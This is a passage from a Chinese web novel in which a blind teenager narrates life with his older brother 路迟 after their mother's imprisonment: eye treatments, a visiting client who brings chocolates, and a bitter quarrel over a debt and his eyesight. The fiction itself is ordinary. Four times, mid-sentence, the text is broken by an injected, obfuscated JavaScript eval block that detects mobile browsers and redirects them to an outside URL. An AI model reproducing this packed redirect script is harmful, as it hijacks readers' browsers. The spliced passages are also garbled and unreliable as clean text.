因为我妈进监狱了,路迟说她杀了个畜生,我猜到什么,抓着他问我妈是不是为了我干了傻事儿。 路迟说不是,我其实觉得路迟在撒谎,可他说话说得太厉害,有理有据有细节,我妈因自卫过度入狱。 其实我不懂为什么会有“自卫过度”这个罪名,难道当有人举着刀来杀你,就因为他的刀没砍到你的大动脉上,没让你直接死在原地,因为你提前阻止了他的这个行为,你就有罪吗。但我只是个法盲,小县城里没人来特意交我,学校里难得有警察局的去开讲座,讲的也是些虚头巴脑的东西,靠举两三个出了人命的例子来吓唬我们,让我们珍惜生命。 谁不知道珍惜生命?还轮得到他们来废话,每次我想在讲座上听到点儿有用的东西,就只会看见警察局那些人边喝着手边热茶,边随便说些有的没的来糊弄时长,差一不二就使眼色示意班主任把我们分批带回去。 经过我妈这事儿,我想学法律,但一个瞎子能学习的方式有限,我求路迟教我,他却总是不耐烦,他根本不记得我是为了他才瞎的,我讨厌他敷衍我的态度,就开始一遍遍地提醒他,结果就导致我和他之间的关系变得有些…..复杂。 说好也不算太好,说差也不算太差。 哎,难搞。 我也不想只折磨他,毕竟害我眼瞎的人其实不是他,但说来奇怪,后来无论我怎么回忆,我都想不起那让我瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315045|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼的人的脸。路迟说他是入室抢劫的小偷,已经被判了死刑。 入室抢劫会被判死刑吗?我不知道。 后来,我的世界只有路迟,我问过畜生爹哪去了,但路迟只会冷冰冰地告诉我“他因为赌博欠钱被人打死了”。 畜生爹欠钱那么久,偏偏这时候被人打死了,或许是老天终于开眼了,但老天既然都开眼了,能不能先别闭上,让我妈平平安安地回来之后再装瞎。 我的眼睛偶尔会痛,偶尔会痒,我觉得是那里面的死肉长虫子了,故意凑到路迟脸旁边让他闻臭不臭,但路迟每次都说“不臭”,然后掰过我的脸,用冰冰凉凉的眼贴给我敷眼睛。 我问他这是管什么的,要是治眼睛的我就不用,因为治眼睛的东西肯定特别贵,路迟穷,肯定负担不起。 路迟告诉我这是除臭的,得每隔一段时间敷一回这个才能香香的,我故意恶心他,说:“那我不敷了,等哪天它臭了,我就专门趴你脸旁边,熏死你,让你总不听我的话。” 路迟根本不在意,他直接停了给我敷眼贴的动作,说:“我不怕臭,你故意这样干也没什么用,但是你想好了,等你眼睛臭了,你身上一辈子都臭烘烘的,熏得你自己都睡不好,连狗都不愿意理你。” “啊?”我脸垮下来,立马放软态度,说:“那我要敷,求你了路迟,我要是臭了你在别人面前也会很丢脸的。” 路迟嗤笑着说我没骨气。 我呲牙一笑,理直气壮地说:“我就是没骨气,谁让我有个有骨气的好哥哥呢,我就要赖着我的好哥哥。” 虽然我看不见路迟的表情,但我知道他肯定很开心,因为他给我敷眼贴的动作很轻,轻得像根羽毛,弄得我痒痒的,想挠。 可我又不知道到底该挠哪儿,那种痒意完全是从骨子里钻出来的,我举着手好半晌,只能退而求其次,选择去挠路迟这个罪魁祸首。 我无赖般用手挠着他的脖颈、嘎吱窝、侧腰,他完全没有痒痒肉,连半点儿反应都不给我。我瞬间泄气,嘀咕道:“路迟你就是钢铁直男。” 我不太清楚“钢铁直男”是什么意思,但经常听见别人用这个时髦的字眼,我不好意思去问,只能自己参悟,不过也挺好懂的。 钢铁就是刀枪不入,直男就是喜欢女人的男人,跟路迟现在不怕痒的状态差不多,我就理所应当地追起了潮流,用这个词来形容他。 路迟听了就问我:“我不解风情吗?” 我不懂他怎么突然冒出来这么一句,但想想,估计是哪个客人撩拨他的时候表现出了不满,骂他不解风情,他才开始反思。 其实路迟刚开始选择做按摩完全就是因为这工作不需要高端上档次地店面,只要有个地点,有张按摩椅就行,按摩椅便宜,路迟负担得起。而且按摩的手艺也很好学。 但路迟不知道,他按摩的手艺真比不上县城里其他老牌按摩店,能主动来找他的客人都是看上他的脸。 路迟的按摩手法也是在这些客人恨铁不成钢的“点拨”中一点点提升起来的,之后老顾客带新顾客,生意才彻底好起来。 但路迟对客人的态度依旧无法达到客人的另类要求,所以路迟问出这个问题完全在我的意料之内。 我“啧”了一声,说:“何止不解风情,你连最基本的暗示都看不懂。” “什么时候暗示了?”路迟问。 我想都不想就说:“很多时候啊。” 那些客人话里有话,我这个毛头小子都听得脸红,我不信路迟他会听不懂,这家伙绝对是在故意装纯。 路迟沉默几秒后,“啊”了一声。 12. 第 12 章 之后我发现路迟的情商提升了不少,至少在我给他挠痒痒的时候,他会装模作样地躲两下,然后再抓住我的手腕,让我不要乱动。 这也成了每次路迟给我敷眼贴时的必做项目。清凉的感觉铺满眼皮,我脑袋枕着路迟的大腿,手高举着胡乱抓挠,感觉差不多挠到路迟的嘎吱窝,我就停了继续挪动手的动作,针对那个位置猛挠。 路迟上半身左右乱躲,但他的大腿却稳稳当当地盘着,半点儿都没扯到我的脑袋。我大声地笑,边笑边说:“路迟,你败给我的九阴白骨爪了吧。” “我投降。”路迟说。我觉得他投降的诚意不够,接着挠他的嘎吱窝,可路迟动作敏捷地一躲,我的手直接抓到了他的胸膛上。 这片皮肤上一般可没有痒痒肉。我原本准备直接转移方向,却突然脑袋一抽,想到路迟是我的“男妈妈”,便手贱地用力抓了一把。 路迟胸肌太硬,抓到手里面根本不舒服,我兴致缺缺地松开手,说了句:“路迟,你的胸能不能像馒头一样软,现在这样手感不好,我不喜欢肌肉。” “不喜欢肌肉?”路迟轻笑一声,说:“那是谁天天嚷嚷着要八块腹肌。” 我“哎呀”了一声,说:“谁不想要好身材,八块腹肌很招女孩子喜欢的,你别告诉我你不知道,我现在都成个小瞎子了,已经输在视力这方面了,哪怕对面站着个一千度的近视眼也比我什么都看不见要强,我肯定要在其他方面追回来啊,否则以后怎么找女朋友,怎么能拥有温暖的小家和心爱的老婆。” 路迟问:“你现在就想要老婆了?” “人生大事肯定要趁早做打算啊。”我伸出根手指,凭着感觉戳了戳路迟的脸蛋,却发现他的脸没平常那么柔软,他是在咬牙切齿吗?应该不至于,我要是有老婆有自己的家了,他就自由了,他肯定要开心才是。 估计他现在脸蛋变硬了,单纯是因为他脸上胶原蛋白流失太严重,不过这也正常,男人过了二十五就是六十,路迟现在二十一岁,很快就二十五了,无异于半个身体都进入了衰老期。 当然,我的二十一岁绝对是风华正茂、意气风发,我这种命运崎岖的人往往是老天爷特意关照过的悲情主角,主角从不衰老,因为主角会打抗老针。 我就是这么双标,路迟还没法咬我。 他正认真地帮我出主意:“你现在年纪小,对感情的看法太片面,就算真谈了对象也很难走到结婚那一步,想这么早没意义,不如顺其自然,有那精力多想想怎么孝顺你哥我。” “啧啧啧。”我语气不屑:“你说得一本正经,好像你谈过恋爱一样,路迟你都没谈过,连个正经经验都没有,怎么敢义正言辞地教育我啊,不怕误人子弟吗。” 路迟却回了句:“你怎么知道我没谈过。” 我“噌”得坐起来,但还没坐直,就被路迟重新按了回去,还调整了下眼贴的位置,避免跑偏。我顾不上别的,无比惊讶地问:“路迟你谈过恋爱?我怎么不知道?” 路迟淡淡地说:“你为什么要知道。” “我是你弟!”我拔高嗓音。 路迟笑了声,好像听见什么笑话似的,他说:“你是我弟我就要告诉你?恋爱这种事很私密,没法全都掏出来讲。” “但你连一点儿信息都没透给我。”我说。 路迟用指节不重不轻地敲了下我的额头,提醒我不要胡乱动,他又说:“那你谈恋爱会告诉我吗。” 我沉默了。 这个问题我从来没想过。 要是告诉路迟吧,就代表我要把我眼中心爱的人事无巨细地描述给他,他会通过从我嘴里吐出的每个字眼在脑海里勾勒出那个女孩的模样,从另一种层面上短暂地拥有只有我能看见的美好。 兄弟之间可以分享很多东西,但爱不行。我拥有过的好东西太少,一旦让我遇到一个非她不可的女孩,我肯定要牢牢抓住她的手,争分夺秒地靠近、无法割舍地依赖。 于是我想,我肯定不会和路迟说。但我这人藏不住秘密,路迟肯定也会自己发现的。 我变得理直气壮起来,直接说:“我不告诉你,你自己也会发现,我在你面前根本藏不住秘密,但是你总对我藏着许多秘密,这根本就不公平。” 路迟笑了,他问:“你觉得什么是公平?” “公平就是……..”我思忖良久,才下定决心开口道:“我有的你可以没有,但你有的我一定要有。” “我也要窥探你的秘密。”我恶狠狠地说。 路迟笑得身体都颤起来,我感觉我的心脏都在随着他的身体一起震颤,我拧起眉头,说:“你笑什么。” “没什么。”路迟话里仍旧带着笑意,他的指尖蹭了蹭我的鼻子,瘙痒让我下意识躲了下,路迟却早有预料地扳正我的脑袋,生怕眼贴一时不稳掉到床上。 “我只是觉得你现在不像十七岁,像七岁。”路迟说:“要是随随便便就能被别人窥探到,那就不叫秘密了。” “秘密是藏在心底最深处,连自己都极难清晰得触碰到的东西。”路迟声音放轻了些:“秘密就是会让你怀疑,这到底是秘密,还是违背人性的冲动。” “比如呢?”我转着小脑袋瓜,飞快提问:“你干了什么违法的事儿?” “没有。”路迟说:“所以它还是个秘密。” 路迟又开始故作高深,我最讨厌他这模样了,太装了,是不是男的一旦到了某个年龄,就会开始架起高高在上的姿态,自诩高人一等,话里话外都是“你达不到我的高度”这种装逼的话。 我把脑袋挪下路迟的大腿,直接躺到沙发上,毫不留情地吐槽:“路迟,太装的男人是吸引不到女人的。” 我这句话刚落,就听见道女声从远处响起。 “路老板今天不营业啊?”话里带着笑意,明显与路迟十分熟稔,我驾轻就熟地在脑海里比对着声音,飞快地找到了这个女人的相关信息。 她是两个月前才开始找路迟按摩的,之后就每隔三天来一次,跟上班打卡似的,特准时准点。这女人也挺奇怪的,她没老公没对象,也不准备找老公和对象,单纯就爱调戏路迟。 为了生意,路迟大多数时间都会含糊地略过去,或是敷衍地回上两句,这女人偏偏越挫越勇,还跟她某次带来的小姐妹说,她就喜欢这种高冷款。 后来我才知道,她是做夜总会生意的,想挖路迟过去当模子,其实当模子更赚钱,但黑白颠倒,完全过不了正常日子。 为了照顾我,路迟自然拒绝了,可之后这女人还是照来不误,她性格真心不错,我偷听的时候感觉出来的,她来的次数多了,难免撞见过我几次。 现在,她喊我就喊路小老板,特别搞笑。 我一个躺平崽,咋可能是小老板呢。 不过她叫得我心里还挺美的。 万一我以后真成老板了呢,开个盲人按摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315046|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店也挺不错。 辨别出她的声音,我连忙把脸扭过去,等着她叫我一声小老板,结果这么一扭,眼皮上的眼贴就掉了下去。 清凉感一扫而空。 我知道路迟要骂我了。 我连忙伸手捂住路迟的嘴巴,生怕这人败坏了我作为小老板的威严。我的手刚捂上去,路迟就狠狠地咬了我一下。 我吃痛松手,还叫着:“路迟你是狗吧!” 路迟没理我,他直接伸手揭掉我眼皮上的眼贴,顺势松开盘着的腿下了沙发,他穿上拖鞋,步伐拖沓地走向门口。 “啪”,打火机脆响,烟草味徐徐飘来。 “不是说过两天再来吗?”路迟率先开口。 女人笑了两声,说:“几天不过来按摩,就浑身难受啊,实在忍不住。” 我听见高跟鞋的脆响,以及解外套的窸窣声,一阵形容不出的香味紧跟着凑近,一双冰凉的手轻轻地掐了下我的脸蛋。 “路小老板看起来水灵不少,白了呢。” 我身旁的沙发下陷,她坐下了,一盒东西也被塞进了我的怀里。我猛地坐起来,就听见她说:“给你带的巧克力,我记得你上次跟你哥说想吃甜的。” 我忍不住错愕,张着嘴巴不知道该说什么。我说过这句话吗,我自己都不记得,她却记住了。 我摸着巧克力礼盒的棱角,足足呆楞了半分钟,才小心翼翼地开口问:“姐,你是不是想当我嫂子啊。” 否则怎么会对我这么好。 她拍着腿大笑起来,说:“路老板,你平时都让你弟听了些什么东西、遇了些什么人啊。” 路迟也跟着笑,但他的笑声闷闷的,我猜他肯定含着烟,眉眼稍弯地勾着唇角。 路迟说:“这小子最近魔怔了,自己着急找老婆,还想搞出来个嫂子。” 女人也点了支烟,但她特意坐得离我远了些,估计是怕熏到我,她笑着说:“路小老板,赶明个儿你跟我出去走一圈,照你这长相,不愁找老婆,保准一堆漂亮姐姐想掐掐你的小脸蛋。” 我瘪瘪嘴,这是把我当小孩儿呢。 但她说得话也让我忍不住问:“你觉得我长得好看吗?” “好看啊。”女人说:“你和你哥,没一个丑的,要不是良心还在,我都想找人拎两个麻袋给你俩扛走。” 我翘起唇角,臭屁地说:“这么夸张吗。” 她知道我想听什么,半开玩笑半认真得说:“真的,你和你哥俩人完全不同风格,你哥要是那种想让人扑倒的硬汉,你就是想让人哄着灌酒的男学生。” 得,还不是输给路迟了。 我怕她又连带着多夸路迟几句,把他给夸上天,便直接转移话题道:“姐,这巧克力好吃吗。” “好吃啊。”她说:“酒心巧克力,我最爱吃这个牌子。” 路迟听了就开始插话:“他不能喝酒。” 我连忙反驳:“我可以。” “然后直接晕死过去,连自己是谁都不记得?”路迟开始爆我的黑历史:“他以前偷喝酒,偏偏没有那个量,刚尝了两口白酒,就脑袋往后一倒,整个人都摔地上了,怎么叫都叫不起来,后来好不容易半路睡醒了,还指着我的鼻子问我是谁。” 我发现有些黑历史我自己都记得不大清楚,路迟却像拥有清晰进度条似的,随时回拨时间,轻而易举就把那些事情给翻出来,再上下嘴皮子一碰,开始挖苦我。 13. 第 13 章 我本想捧着巧克力盒躲进卧室里,女人却突然叫住我,说:“路小老板,过来陪我说说话吧。” 我愣了下,大家来这儿都是奔着路迟,聊天自然也是冲着他,头一次有人指名道姓地说要跟我聊天。不过我还觉得挺开心的,毕竟我刚得到盒巧克力。 我一点点地挪蹭到她身边。 她顺势伸手摸了摸我的脸蛋,我觉得她应当不是喜欢我这个人,是喜欢我的脸蛋。 按摩的房间窄□□仄,我只能坐在小马扎上,脑袋的高度刚好到按摩床的边缘。 我小心翼翼地拆开巧克力盒,缓慢摩挲着巧克力表面光滑的触感,生怕自己指腹的温度将它融化掉,我还特意把掌心贴到冰凉的墙壁上放了会儿。 她看着我的动作就开始笑。 “我像你这么大的时候,吃到巧克力也是这种小心翼翼的模样,生怕一不小心就让它变得不再完美。”她的声音似乎就在我耳边,“犯傻气的时候还想把巧克力埋到土里,让它长出一串巧克力藤,给我这辈子都吃不完的巧克力。” 这也太傻了。 我干不出这种事,因为我知道长不出。 “姐你现在多大啊?”我顺着话问。 “三十二。”她说:“你叫我苗儿姐就行。” “好的苗儿姐。”我飞快应下,连忙抓起一块巧克力塞到嘴里,生怕动作慢了就被路迟抢走了,万一他真不让我吃酒心巧克力可怎么办。 巧克力入口即化,甜腻腻的滋味刚泛上舌尖,酒精的韵味便接踵而来,这是种很奇妙的口感,我放慢了咀嚼的速度,试图让这种从未拥有过的感觉彻底停留在口腔。 苗儿姐应当是在盯着我看。 她又开口说:“这个味道喜欢吗。” “喜欢。”我忙不迭地说。 她笑了笑,又抬手摸了摸我的脑袋,不知想到什么,她莫名说了句:“你这样的孩子,看起来就好骗。” “不可能。” 我聪明绝顶、身经百战,怎么可能随随便便就被人骗去,要真被骗住了,肯定是身边熟悉的人给我穿小鞋,我才难得河边湿鞋。 苗儿姐没接着跟我辩论,她喟叹了声,说:“肩膀用力一点儿,力度不够。” “不疼得受不了就不罢休?”路迟说。 苗儿姐回:“疼了才能好,按摩是这样,别的事也是这样。”她停顿了几秒钟,或许是看到我急切地想要把巧克力塞到嘴里、却又不舍得那么快吃完的样子,她轻轻笑了声,才接着说:“我爱来你这儿,除了最开始想把你撬到我那里的心思,就只剩一点,你这儿自在。” 小县城里的夜总会不算多,硬掰着手指头也只能数出三家,但其中两家都是刚刚开业没多久,生意惨淡,估计过不了多久就要被迫关门倒闭,像其他那些昙花一现的夜总会一样。 而苗儿姐所在那家,是唯一一家从始至终都生意红火的,宾客盈门,络绎不绝。苗儿姐在那儿上了十年的班,三十岁的年纪就能赚到小县城里高阶梯的工资,她觉得疲累是应当的。 但在外,即便再累,碰到熟人也要硬撑起笑脸过去闲聊几句,别让人情冷了下去。 那时候我以为苗儿姐的意思是,她在这儿不会遇到其他不想见的熟人。后来我才知道,只是我家的位置刚好给了她走上那条能看见她日思夜想的那张脸的路的机会。 她很多年没回家了,家里嫌她的工作不体面,哪怕赚再多的钱,也是让人看不起的勾当。 只有她妈不嫌弃她。 但她不想听别人说那些闲话,只能不断地托人往家里送钱,却从来没亲自回去过,哪怕路过,也只是坐在车里隔着深灰色的车窗,远远地看上一眼。 苗儿姐和路迟有一搭没一搭地聊着天,中途她把话题往我身上引,但我已经吃了四块巧克力,脑袋沉甸甸晕乎乎的,像块砖头随时会砸到地上,即便听清了她的话也不知该如何张开嘴去回答。 路迟发现我醉了,就跟苗儿姐说:“你瞧他,根本不让人省心。” 苗儿姐又开始笑,我发现她特别爱笑,可惜我看不见她的脸,不知道她笑起来到底是什么样子,只能努力记住她的声音。 路迟把我从地上拽起来,直接抱在怀里,抓着我的双腿盘到他腰上,他跟苗儿姐说了声,就把我抱回卧室了。 一砸进柔软温暖的被子里,我的意识瞬间陷入黑暗之中,直接昏睡了过去。 等我再次醒来,苗儿姐已经走了,手往旁边一摸,就摸到了路迟的脸。我谨慎地用手指探了探他的鼻息,确认他真的在熟睡,才开始轻轻地摸起他的脸。 其实比起我自己的长相,我更好奇路迟的长相,我不担心他找不到老婆,我只是担心他长了张特别容易找到老婆的脸,在我还没成家之前就给我抛弃了。 我摸着路迟的鼻梁,手指以毫厘之速缓慢向下。干涩的嘴唇,瘦削的轮廓,我摸不出什么所以然,也猜不出他大致的长相,干脆原路返回,开始把手指向上挪动。 在摸到路迟右眉时,我的手指顿了顿。路迟特别臭美,给自己右侧眉毛剃了个楞,那块皮肤摸着比其他皮肤要更凉更光滑,路迟说这是潮流,我不明白他这个整天大门不出、二门不迈、工作地点就在家里的“宅男”有什么潮流好追的。 我还准备接着往上摸,就被一双大手倏地抓住了手掌。 “老实点儿。”路迟声音沙哑地说。 他翻了个身,直接把我搂进他的怀里,双臂紧紧箍着我的腰,勒得我喘不过气,骨头都有些犯疼。他的鼻息平稳地洒在我的耳后,又睡了过去。 我小声叫他:“路迟你别抓着我。” 路迟没反应,我想了想,觉得他刚才应该是肌肉记忆苏醒了,但人没醒,便大着胆子说了句:“路迟你是小狗。” 路迟没反应。 我得意狡黠地笑了笑,轻咳了声,又说:“路迟你以后不能变成丑八怪,也不能变成大明星,你就又丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315047|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又帅,既没那么多人喜欢也没那么多人讨厌就可以了,不许变成高不可攀的模样听见没,我一伸手就要抓到你。” 路迟很轻地“嗯”了声,完全是从鼻腔里喷出来的气音。 我被吓得僵住了身体,几秒后发现他还在睡着,我才放松下来。 此刻的我格外清醒,无论如何都无法再次入睡。各种莫名其妙的想法聚集在我的脑袋里,从木乃伊的保质期到外星人的降临时间,天马行空,可无论想什么,最后都会变成“我想我妈了”。 我记得监狱里能探监的,但路迟告诉我只有成年了才能去,所以每次他去探望我妈的时候都不带着我,把我扔在家里。 想着想着,我不自觉叫了声:“妈。” 路迟抱着我的胳膊松开了些许,我以为他要翻身了,赶紧从他的怀抱里挪出去,躺到了旁边的位置上,离他远远的。 可我刚躺好,就听见路迟呢喃:“妈,你先走,路桉宁还在等你,你别管我。” 我以为路迟也梦到我妈了,立马竖起耳朵听,准备记下他大半夜喊妈妈的声音,明天用一丝不差的语气模仿出来。 结果就听见路迟说:“妈,把刀还我。” 刀? 他梦到和我妈一起下厨房了? 有些时候我不得不承认,路迟完全就是别人家的孩子,他学习好有目标,会自己找路子赚钱,还能在刷完题之后穿上围裙进厨房给一家子做饭。 但我妈总是嫌弃他做的饭没滋味,除非我妈有急事脱不开身,没法准时回家给我做饭,否则路迟根本没有进厨房的机会。 因此,路迟从来没和我妈一起下过厨房,但我总是在厨房里给我妈打下手。我完全就是个白痴,对下厨这件事一窍不通,哪怕用心学了,也总是差些意思,我妈总是会看着我弄出的烂摊子,边掐着腰苦笑边说:“你去看电视吧。” 我只能摸着鼻子灰溜溜地出去。 我胡思乱想着,愈发觉得路迟前二十几年的人生怪憋屈的,我爹不管家里,我妈不知道为什么不大喜欢他,我又总是从处处跟他作对,之前为了恶心他专门在他面前说“我妈”,而不是“咱妈”。 后来叫顺嘴改不过来了,再想改的时候路迟却不让我改了,他说“妈更爱你,你这样叫她也更开心”。 我不知道我妈会不会更开心,我只知道每次我刻意纠正回来,在路迟面前说“咱妈”的时候,他总会沉默许久,然后说:“该怎么叫就怎么叫,特意改了反倒听着别扭。” 我问他:“哪别扭了。” 他说:“一般都是家里的儿媳、女婿用‘咱妈’做称呼,兄弟姐妹都是直接说‘妈’。” 我想了想好像确实是这样,怪不得路迟觉得别扭,我现在也觉得挺别扭的。 之后我就没特意改过叫法了。 路迟大人有大量也不和我计较。 可我没想到,原来路迟的执念如此深,甚至梦里都在幻想和我妈一起下厨。 14. 第 14 章 听着油锅“滋噶滋噶”的声响,我慢悠悠地把腿支起来,双脚踩在椅子边缘,手臂环着大腿,将下巴压到膝盖上。 “路迟,你厨艺怎么变好的。” 吸油烟机声轰隆隆的,我不知道他是否听见我说话,我安安静静地等着,过了几秒钟,路迟关了吸油烟机,边朝我走来边说:“天赋异禀。” “吹牛皮。”我嗅着浓郁的香味,脸也不自觉跟着香味转动。路迟笑着用手摸了摸我的脑袋,我“哎呀”一声,抬手抓住他的手腕,说:“我认真问的,怎么你做什么都能做好啊。” “在你眼里我这么厉害?”路迟问。 我突然反应过来,夸过头了,路迟骄傲了。 但话都说出去了,我也不能装没说过,只能耍无赖似得抓住路迟的衣摆,左右拧着问:“说啊,到底怎么学会做好吃的饭的。” “张嘴。”路迟说完,我下意识张开嘴,一块大小恰到好处的煎蛋就被塞进了我的嘴里,我满足地咀嚼起来,听见路迟说:“小时候你总生病,妈送你去医院,没人在家,我没东西吃只能自己研究。” “你那时候才多大啊,能碰得到灶台吗?”我拧着眉头,陷入回忆,我是我妈的晚来子,估计是怀孕的时候营养没跟上,导致我的身子骨特别弱,几乎两天一小病,一周一大病,大多数时候吃药还不见效,只能去医院或者诊所里打针。 我的两个手背上都留着长长一条线,那是反复打针打出来的疤痕连成的。想知道别人的命要看掌心,看掌纹,但要看我的,只要抓着我的手背瞄一眼,就知道我是个苦命的娃娃。 一直到八岁,我身体状态才好转了不少,不需要频繁打针,只要多注意些就可以。可那时候,路迟也才十二岁。 路迟轻飘飘地说:“够不着,找个小板凳踩脚底下呗,方法总比困难多。” 我不敢想象,我十二岁的时候看见厨房里的火都害怕,生怕凑近了就给我烧成烤鸡了,路迟难道就不怕吗。 “你咋不害怕呢。”我问。 “怕什么?”路迟说:“做个饭还能搞出场大爆炸给我炸成碎片不成。” “这谁说得准。” 路迟又喂了我一口青菜,他拉开凳子坐下,给自己嘴里也塞了东西,说话的声音变得有些含糊:“我要是真给自己炸死了,那房子也被烧得不成样子了,谁让妈只把我留在家里呢,她回来之后发现家没了估计要心疼得不行。” “我妈肯定更心疼你啊。”我反驳道。 路迟轻笑一声,说:“妈巴不得我消失不见。” 虽说我主要目的是想安慰路迟,告诉他哪怕我妈不疼他,也还有我呢。可听见他这么说,我还是憋不住脾气,直接说:“你咋能把我妈想成这种人呢,妈只不过不知道怎么跟你相处而已,她亲口跟我说的。” “怎么跟你相处,就怎么跟我相处呗,她怎么会不知道呢。”路迟语气淡淡,仿佛正在点评某个陌生人身上发生的事,一切都与他无关。 我觉得有些难受,即想替我妈开脱,又心疼路迟这副模样,两种情绪如同两根不同方向的丝线将我左右拉扯,我刚准备开口说话,就又被路迟塞了口饭。 路迟说:“食不言寝不语,安静吃饭。” 我狠狠咀嚼了几下,把嘴里的东西想象成路迟的脸,我每次咬下去都是在啃路迟的脸蛋。我快速吞咽,见缝插针说了句:“你睡觉时候还说梦话呢,你没做到寝不语,就别要求我食不言。” “我说梦话了?”路迟顿了顿,问:“说什么了。” 我故弄玄虚:“你猜啊。” “不猜。”路迟说。 之后他就不吭声了,只剩筷子偶尔触碰到碗和盘子的声响,他也不喂我东西了。我撅着嘴想,你不喂我就自己吃,但等我摸索着在桌上找筷子时,却发现路迟没把筷子放到往常的位置上。 我找不着筷子。 路迟像看不到我的窘迫似的,根本不说话,也不把筷子递给我。但我不知道,其实筷子就放在原来的位置上,只不过路迟在我说了“你猜啊”之后,就把它拿走了。 他故意的,就等着我叫他。 但我没有,找不到筷子我就不吃了,我直接下了凳子,准备走。 “干什么去?”路迟问。 “睡觉。”我不愿多说一个字。 “找不到就不着了?就这么容易放弃?”路迟伸出长腿,拦住我的去路,我差点儿被他绊得直接摔到地上。路迟抓住我的胳膊,帮我稳住身体。 我站稳后立马甩开他的胳膊,脑袋一抽,直接语气生硬地扔出句:“我要买拐杖。” 路迟沉默良久,才说:“平时都是我陪着你,怎么突然想买拐杖了。” “瞎子都有根拐杖,我也应该有,不然我就是不完整的瞎子。”我说:“已经是个残疾人了,总得当个设备齐全的残疾人吧…..你也不用给我花钱,我一会儿出去随便找根棍儿当拐杖就行。” 路迟笑出了声,他说:“然后你就天天拎着根破棍到处转悠,等哪天被别人拐跑了都不知道?” “跟你没关系,反正你连筷子都不给我。” 我很不讲理,拿筷子吃饭本来就是我自己的事情,路迟能给我做饭已经算很好了,但我就是改不掉这个坏习惯。 我也不想改。 别人都忍受不了我的坏脾气,所以我乐得清净,只有路迟受得了,所以我俩天天靠在一起。 要是哪一天路迟都受不住了呢。 那我就该死了,命早该绝,没什么好说的。 路迟说:“行,跟我没关系。” 他接着吃饭了。 我觉得我是全世界最傻逼的人,我分明知道路迟那脾气绝对会说这种话,我还是觉得不得劲儿。胸膛里面像钻进去几只老鼠,它们不仅啃咬着我的身体,让我浑身泛疼,疼得直抖,还故意让我听见它们吱吱的叫声,诡异的调调像嘲笑似的。 我觉得那几只老鼠应该是在说:“你哥巴不得你死外面,你看不出来吗?” 我眼眶发热,眼泪窝在眼里下面,拼命往外挤。 我有时候觉得,既然我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315048|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成瞎子了,眼睛也没有用了,不如往眼眶里面塞两块石头,严丝合缝地堵住它和眼皮之间的缝隙,避免某些液体再不合时宜地冒出去,腐蚀掉我好不容易戴上的完美面具。 我难受了,也不想让路迟好受,一赌气就砸出去一句:“你做梦的时候说,你根本就不是我妈的孩子,所以我妈恨不得掐死你,她只爱我,以前、现在、以后都只可能爱我,你就是个没妈的孩子,哪天死了都没人可怜你。” 周围陷入危险的死寂之中。 我抬起脚就往外走,这次路迟没拦我。 但就在我走到厨房门口,摸索着准备拐弯进卧室时,就听见路迟声音不高不低地传来:“明天我带你去市里看眼睛,等你眼睛好了,你想跑到哪儿都跟我没关系,想死在哪块地上也是你自己的事。” 原来他这么迫不及待得想摆脱我。 我死死地抓着门框,掌心被锋利的边缘割得生疼,我却像被人捆在那儿了似的,根本没法动弹。 “…..你现在看着我,全都是因为我为你瞎了眼睛是吧。”我不知道这声音从哪传来,过了许久,我才怔怔地意识到,是我自己说的。 路迟的声音紧随其后:“不然呢路桉宁,你没把我当成真哥哥来孝顺,我也没必要把你当真弟弟来疼爱,其实从头到脚,咱俩身上共同背着的只有一样东西——” “债。” “这份债其实不难还,你的眼睛要是治不好,我就把我的眼睛给你,要是治得好,我就倾家荡产给你治。” “是你一直拖着。”路迟的言语如同凌迟的刀刃,一下接着一下地朝着我的头顶、脊背切割下去。或许我的后背和我的手背一样,上面都有一条长长的、永远无法抹去的疤痕。 想要祛除疤痕的唯一方式就是——切掉那块肉,让另一条更加狰狞的疤痕取而代之。 我没法下手,路迟却逼着我做选择。 我咬紧牙关,齿根酸麻得像随时会倒戈腐烂,足足过了三分钟,我才找回自己的声音:“我治,就像你说的,如果治不好,你就把你的眼睛给我吧,路迟。” 